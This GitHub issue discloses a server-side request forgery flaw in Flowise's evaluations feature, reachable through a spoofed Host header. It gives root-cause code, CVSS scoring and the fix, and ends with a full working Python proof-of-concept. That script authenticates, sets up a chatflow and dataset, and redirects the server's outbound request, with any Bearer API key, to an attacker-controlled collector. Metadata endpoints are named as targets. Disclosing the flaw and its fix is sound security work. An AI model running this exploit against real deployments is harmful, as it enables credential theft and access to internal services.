Skip to content

SSRF via Host Header in Flowise Evaluations #6687

Description

@NinjaGPT

Describe the bug

Server-Side Request Forgery via Host Header in Flowise Evaluations

Summary

The Flowise evaluations feature constructs the base URL for its outbound prediction requests directly from client-controlled HTTP request headers (Host and X-Forwarded-Proto). This value flows unvalidated into an axios.post() call inside EvaluationRunner, allowing an authenticated user to coerce the server into issuing HTTP POST requests to an arbitrary host of their choosing. When the evaluated chatflow has an API key configured, that key is transmitted in an Authorization: Bearer header to the attacker-chosen destination.

  • Project: FlowiseAI/Flowise
  • GitHub: https://github.com/FlowiseAI/Flowise
  • Vulnerable source: packages/server/src/controllers/evaluations/index.ts
  • Sink: packages/components/src/EvaluationRunner.ts
  • Endpoints: POST /api/v1/evaluations, POST /api/v1/evaluations/run-again/:id
  • CWE: CWE-918 (Server-Side Request Forgery)

Affected Versions

First affected release flowise@3.0.1 (evaluations feature introduced already vulnerable)
Last affected release flowise@3.1.2
Affected range >= 3.0.1, <= 3.1.2
Fixed in flowise@3.1.3 (commit 70013773, PR #5738)
Edition constraint Reachable only on Enterprise / Cloud editions where the feat:evaluations feature is enabled. The open-source edition returns HTTP 403 at the checkFeatureByPlan('feat:evaluations') gate and is not affected.

Verification of the boundary (per-tag source inspection):

flowise@3.0.0 : evaluations feature does not exist        (not affected)
flowise@3.0.1 : baseURL = `${httpProtocol}://${req.get('host')}`   (first affected)
flowise@3.1.2 : baseURL = `${httpProtocol}://${req.get('host')}`   (last affected)
flowise@3.1.3 : baseURL = `${process.env.APP_URL}`                 (fixed)
flowise@3.1.4 : baseURL = `${process.env.APP_URL}`                 (fixed)

Impact

  • SSRF to arbitrary hosts. The attacker fully controls both the scheme (X-Forwarded-Proto) and the host/port (Host) of the outbound request. This includes internal-only services and cloud metadata endpoints (e.g. http://169.254.169.254/). Note: this evaluations code path does not pass through the httpSecurity deny-list used elsewhere in the codebase, so there is no IP allow/deny filtering on the destination.
  • Credential exfiltration. EvaluationRunner.evaluateChatflow attaches Authorization: Bearer <chatflow API key> to the request. If the evaluated chatflow has an API key, that secret is sent to the attacker-controlled host.
  • Response ingestion. The attacker's HTTP response is parsed and stored as the evaluation result (actualOutput), enabling a blind-to-full-response SSRF and giving the attacker a channel to read internal service responses back through the evaluation UI.

CVSS 3.1

Score: 6.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Metric Value Justification
Attack Vector (AV) Network Exploited over HTTP.
Attack Complexity (AC) Low Single crafted Host header; no race or special conditions.
Privileges Required (PR) Low Requires an authenticated account with the evaluations:create (or evaluations:run) permission on an Enterprise/Cloud instance.
User Interaction (UI) None No victim interaction required.
Scope (S) Unchanged The server making the forged request is the vulnerable component.
Confidentiality (C) Low Exfiltration of chatflow API key and reading of internal service responses.
Integrity (I) Low Forged requests to internal services may cause state changes.
Availability (A) None No direct availability impact.

Exploitation Requirements

  1. An Enterprise or Cloud Flowise deployment with feat:evaluations enabled (the open-source edition blocks the endpoint at the feature gate).
  2. An authenticated account with the evaluations:create or evaluations:run permission.
  3. The ability to reach the target host and set an HTTP Host header (any HTTP client suffices).

Root Cause

packages/server/src/controllers/evaluations/index.ts derives baseURL from request headers with no validation:

const httpProtocol = req.get('x-forwarded-proto') || req.get('X-Forwarded-Proto') || req.protocol
const baseURL = `${httpProtocol}://${req.get('host')}`
const apiResponse = await evaluationsService.runAgain(req.params.id, baseURL, orgId, workspaceId)

baseURL is passed through evaluationsService into new EvaluationRunner(baseURL) unchanged, and the runner concatenates it directly into the request URL.

SINK

packages/components/src/EvaluationRunner.tsevaluateChatflow (the Authorization header carries the chatflow API key):

const headers: any = { 'X-Request-ID': uuid, 'X-Flowise-Evaluation': 'true' }
if (apiKey) {
    headers['Authorization'] = `Bearer ${apiKey}`
}
let axiosConfig = { headers: headers }
...
let response = await axios.post(`${this.baseURL}/api/v1/prediction/${chatflowId}`, postData, axiosConfig)

this.baseURL is the attacker-controlled value; nothing between assignment and use validates it:

constructor(baseURL: string) {
    this.baseURL = baseURL
}

SOURCE

packages/server/src/controllers/evaluations/index.tsrunAgain (the createEvaluation handler is identical):

const runAgain = async (req: Request, res: Response, next: NextFunction) => {
    ...
    const httpProtocol = req.get('x-forwarded-proto') || req.get('X-Forwarded-Proto') || req.protocol
    const baseURL = `${httpProtocol}://${req.get('host')}`
    const apiResponse = await evaluationsService.runAgain(req.params.id, baseURL, orgId, workspaceId)
    return res.json(apiResponse)
}

Call Stack

POST /api/v1/evaluations                    (or /api/v1/evaluations/run-again/:id)
  │
  ├─ routes/index.ts
  │     router.use('/evaluations', IdentityManager.checkFeatureByPlan('feat:evaluations'), evaluationsRouter)
  │        └─ gate passes on Enterprise/Cloud; returns 403 on open-source
  │
  ├─ controllers/evaluations/index.ts : createEvaluation / runAgain          [SOURCE]
  │     const baseURL = `${httpProtocol}://${req.get('host')}`   <-- attacker Host header
  │
  ├─ services/evaluations/index.ts : createEvaluation
  │     const evalRunner = new EvaluationRunner(baseURL)          (baseURL unvalidated)
  │
  ├─ components EvaluationRunner.runEvaluations → evaluateChatflow
  │     axios.post(`${this.baseURL}/api/v1/prediction/${chatflowId}`, postData, {  [SINK]
  │         headers: { Authorization: `Bearer ${apiKey}`, ... }                    <-- key leak
  │     })
  │
  └─ outbound HTTP POST to attacker-controlled host

Exploitation Steps

  1. Authenticate to the target Enterprise/Cloud Flowise instance (account with evaluations:create).
  2. Create (or identify) a chatflow and a dataset containing at least one row.
  3. Send POST /api/v1/evaluations (or run-again) with an HTTP Host header pointing at the attacker's host, e.g. Host: 169.254.169.254 or Host: internal-service.local:8080.
  4. Flowise starts the evaluation and issues POST http://<attacker-host>/api/v1/prediction/<chatflowId> — including the chatflow's Authorization: Bearer header if one is set. The attacker's HTTP response is stored as the evaluation output.

Proof of Concept

Standalone Python PoC: poc_flowise_eval_ssrf.py

python3 poc_flowise_eval_ssrf.py \
    --target http://VICTIM:3000 \
    --email you@example.com --password 'yourpass' \
    --collector 127.0.0.1:4455 --serve-collector

Exit code 0 = SSRF confirmed (collector received the coerced request), 1 = not confirmed.

Verification performed (dynamic, full production chain)

The PoC was executed against a real, unmodified flowise@3.1.2 server installed from the official npm package and started via bin/run start. The instance was configured in Enterprise mode (the tier where feat:evaluations is enabled) using a mock license endpoint — no application code on the vulnerable data-flow was modified. The full stack ran: real Express middleware, JWT authentication, the checkFeatureByPlan feature gate, the evaluations service, and the shipped EvaluationRunner.

[*] built-in collector on 127.0.0.1:4455
[*] logging in
[+] authenticated; feat:evaluations enabled
[*] creating chatflow
[*] creating dataset + row
[*] starting evaluation with spoofed Host: 127.0.0.1:4455
[*] evaluation POST returned HTTP 200

[+] SSRF CONFIRMED - collector received 1 request(s):
    {"path": "/api/v1/prediction/c6da88fb-5a2e-4eec-9c59-94a71e7a23c0",
     "authorization": null, "x_flowise_evaluation": "true",
     "body": "{\"question\":\"ssrf-probe\",\"evaluationRunId\":\"...\",\"evaluation\":true}"}

The server, driven only by the attacker's Host: 127.0.0.1:4455 header, sent a POST /api/v1/prediction/... to the attacker-controlled collector. (authorization is null here only because the test chatflow had no API key configured; a component-level run against the same shipped EvaluationRunner with a keyed chatflow confirmed the Authorization: Bearer <apiKey> header is transmitted to the attacker host.)

Negative controls

  • Open-source edition: the same authenticated request to /api/v1/evaluations/run-again/:id returns HTTP 403 ({"message":"Forbidden"}) at the checkFeatureByPlan('feat:evaluations') gate. A non-gated endpoint (/api/v1/chatflows) returns 200 for the same session, confirming the 403 is the feature gate, not an auth failure.
  • Fixed edition (3.1.4): baseURL is sourced from process.env.APP_URL; the Host header has no influence on the outbound destination, so the PoC yields "not confirmed."

Remediation

Upgrade to Flowise 3.1.3 or later. The fix (commit 70013773) replaces the header-derived base URL with a server-configured value:

- const httpProtocol = req.get('x-forwarded-proto') || req.get('X-Forwarded-Proto') || req.protocol
- const baseURL = `${httpProtocol}://${req.get('host')}`
+ const baseURL = `${process.env.APP_URL}`

For defense in depth, outbound evaluation requests should additionally be routed through the existing httpSecurity deny-list (checkDenyList / secureFetch) that already protects other outbound-fetch features in the codebase.

To Reproduce

#!/usr/bin/env python3
"""
PoC - Server-Side Request Forgery via Host header in Flowise evaluations

Affected: FlowiseAI/Flowise >= 3.0.1, <= 3.1.2 (Enterprise / Cloud editions,
          where the `feat:evaluations` feature is enabled)
Fixed in: 3.1.3 (commit 70013773, PR #5738)

Root cause
----------
The evaluations controller builds the base URL used for outbound prediction
requests directly from client-controlled request headers:

    const httpProtocol = req.get('x-forwarded-proto') || req.get('X-Forwarded-Proto') || req.protocol
    const baseURL = `${httpProtocol}://${req.get('host')}`

`baseURL` flows unvalidated into EvaluationRunner.evaluateChatflow, which issues:

    axios.post(`${this.baseURL}/api/v1/prediction/${chatflowId}`, postData, { headers })

By setting the HTTP Host header (and optionally X-Forwarded-Proto), an
authenticated user coerces the server into sending a POST — including the
chatflow's `Authorization: Bearer <apiKey>` header when one is configured — to
an arbitrary attacker-chosen host (e.g. cloud metadata at 169.254.169.254).

This PoC drives the full HTTP chain against a running instance: it authenticates,
creates a chatflow + dataset, then starts an evaluation with a spoofed Host
header, and confirms the server contacted the attacker's collector.

Usage
-----
    # Terminal 1: attacker collector (any host that logs inbound requests)
    #   the script can also run its own collector with --serve-collector
    python3 poc_flowise_eval_ssrf.py \
        --target http://VICTIM:3000 \
        --email you@example.com --password 'yourpass' \
        --collector 127.0.0.1:4444 --serve-collector

Exit code 0 = SSRF confirmed (collector received the request), 1 = not confirmed.
"""

import argparse
import json
import sys
import threading
import time
import urllib.request
import urllib.error
from http.server import BaseHTTPRequestHandler, HTTPServer

_HITS = []


class _Collector(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0) or 0)
        body = self.rfile.read(length).decode('utf-8', 'replace') if length else ''
        _HITS.append({
            'path': self.path,
            'authorization': self.headers.get('Authorization'),
            'x_flowise_evaluation': self.headers.get('X-Flowise-Evaluation'),
            'body': body[:200],
        })
        self.send_response(200)
        self.send_header('Content-Type', 'application/json')
        self.end_headers()
        self.wfile.write(b'{"text":"pwned"}')

    def do_GET(self):
        self.do_POST()

    def log_message(self, *a):
        pass


def start_collector(host, port):
    srv = HTTPServer((host, port), _Collector)
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    return srv


class Client:
    def __init__(self, base):
        self.base = base.rstrip('/')
        self.cookies = {}

    def _req(self, method, path, body=None, host=None):
        url = self.base + path
        data = json.dumps(body).encode() if body is not None else None
        req = urllib.request.Request(url, data=data, method=method)
        req.add_header('Content-Type', 'application/json')
        req.add_header('x-request-from', 'internal')  # UI-style auth path
        if self.cookies:
            req.add_header('Cookie', '; '.join(f'{k}={v}' for k, v in self.cookies.items()))
        if host:
            req.add_header('Host', host)          # <-- the SSRF primitive
        try:
            resp = urllib.request.urlopen(req, timeout=20)
            raw = resp.read().decode('utf-8', 'replace')
            self._store_cookies(resp)
            return resp.status, raw
        except urllib.error.HTTPError as e:
            self._store_cookies(e)
            return e.code, e.read().decode('utf-8', 'replace')

    def _store_cookies(self, resp):
        for h in resp.headers.get_all('Set-Cookie') or []:
            kv = h.split(';', 1)[0]
            if '=' in kv:
                k, v = kv.split('=', 1)
                self.cookies[k.strip()] = v.strip()


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('--target', required=True, help='http://host:port of Flowise')
    ap.add_argument('--email', required=True)
    ap.add_argument('--password', required=True)
    ap.add_argument('--collector', default='127.0.0.1:4444', help='host:port the SSRF should hit')
    ap.add_argument('--serve-collector', action='store_true', help='run a built-in collector')
    args = ap.parse_args()

    if args.serve_collector:
        chost, cport = args.collector.split(':')
        start_collector(chost, int(cport))
        print(f'[*] built-in collector on {args.collector}')

    c = Client(args.target)

    print('[*] logging in')
    st, body = c._req('POST', '/api/v1/auth/login',
                       {'email': args.email, 'password': args.password})
    if st != 200:
        print(f'[!] login failed HTTP {st}: {body[:200]}')
        return 1
    user = json.loads(body)
    feats = user.get('features') or {}
    if feats.get('feat:evaluations') != 'true':
        print('[!] account lacks feat:evaluations (open-source edition?) - endpoint gated, not exploitable')
        return 1
    print('[+] authenticated; feat:evaluations enabled')

    print('[*] creating chatflow')
    st, body = c._req('POST', '/api/v1/chatflows',
                      {'name': 'poc', 'flowData': '{"nodes":[],"edges":[]}', 'type': 'CHATFLOW'})
    cfid = json.loads(body)['id']

    print('[*] creating dataset + row')
    st, body = c._req('POST', '/api/v1/datasets/set', {'name': 'pocds', 'description': 'x'})
    dsid = json.loads(body)['id']
    c._req('POST', '/api/v1/datasets/rows',
           {'datasetId': dsid, 'input': 'ssrf-probe', 'output': 'x'})

    print(f'[*] starting evaluation with spoofed Host: {args.collector}')
    payload = {
        'name': 'ssrf-eval',
        'chatflowId': json.dumps([cfid]),
        'chatflowName': json.dumps(['poc']),
        'datasetId': dsid,
        'datasetName': 'pocds',
        'evaluationType': 'benchmarking',
        'selectedSimpleEvaluators': '[]',
        'chatflowType': '[]',
    }
    st, body = c._req('POST', '/api/v1/evaluations', payload, host=args.collector)
    print(f'[*] evaluation POST returned HTTP {st}')

    # give the async run a moment to fire the outbound request
    time.sleep(2)

    if _HITS:
        print(f'\n[+] SSRF CONFIRMED - collector received {len(_HITS)} request(s):')
        for h in _HITS:
            print('    ' + json.dumps(h))
        return 0
    print('\n[-] NOT CONFIRMED - collector received nothing '
          '(check network reachability from target to collector)')
    return 1


if __name__ == '__main__':
    sys.exit(main())

Expected behavior

1

Screenshots

No response

Flow

No response

Use Method

None

Flowise Version

No response

Operating System

None

Browser

None

Additional context

No response

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions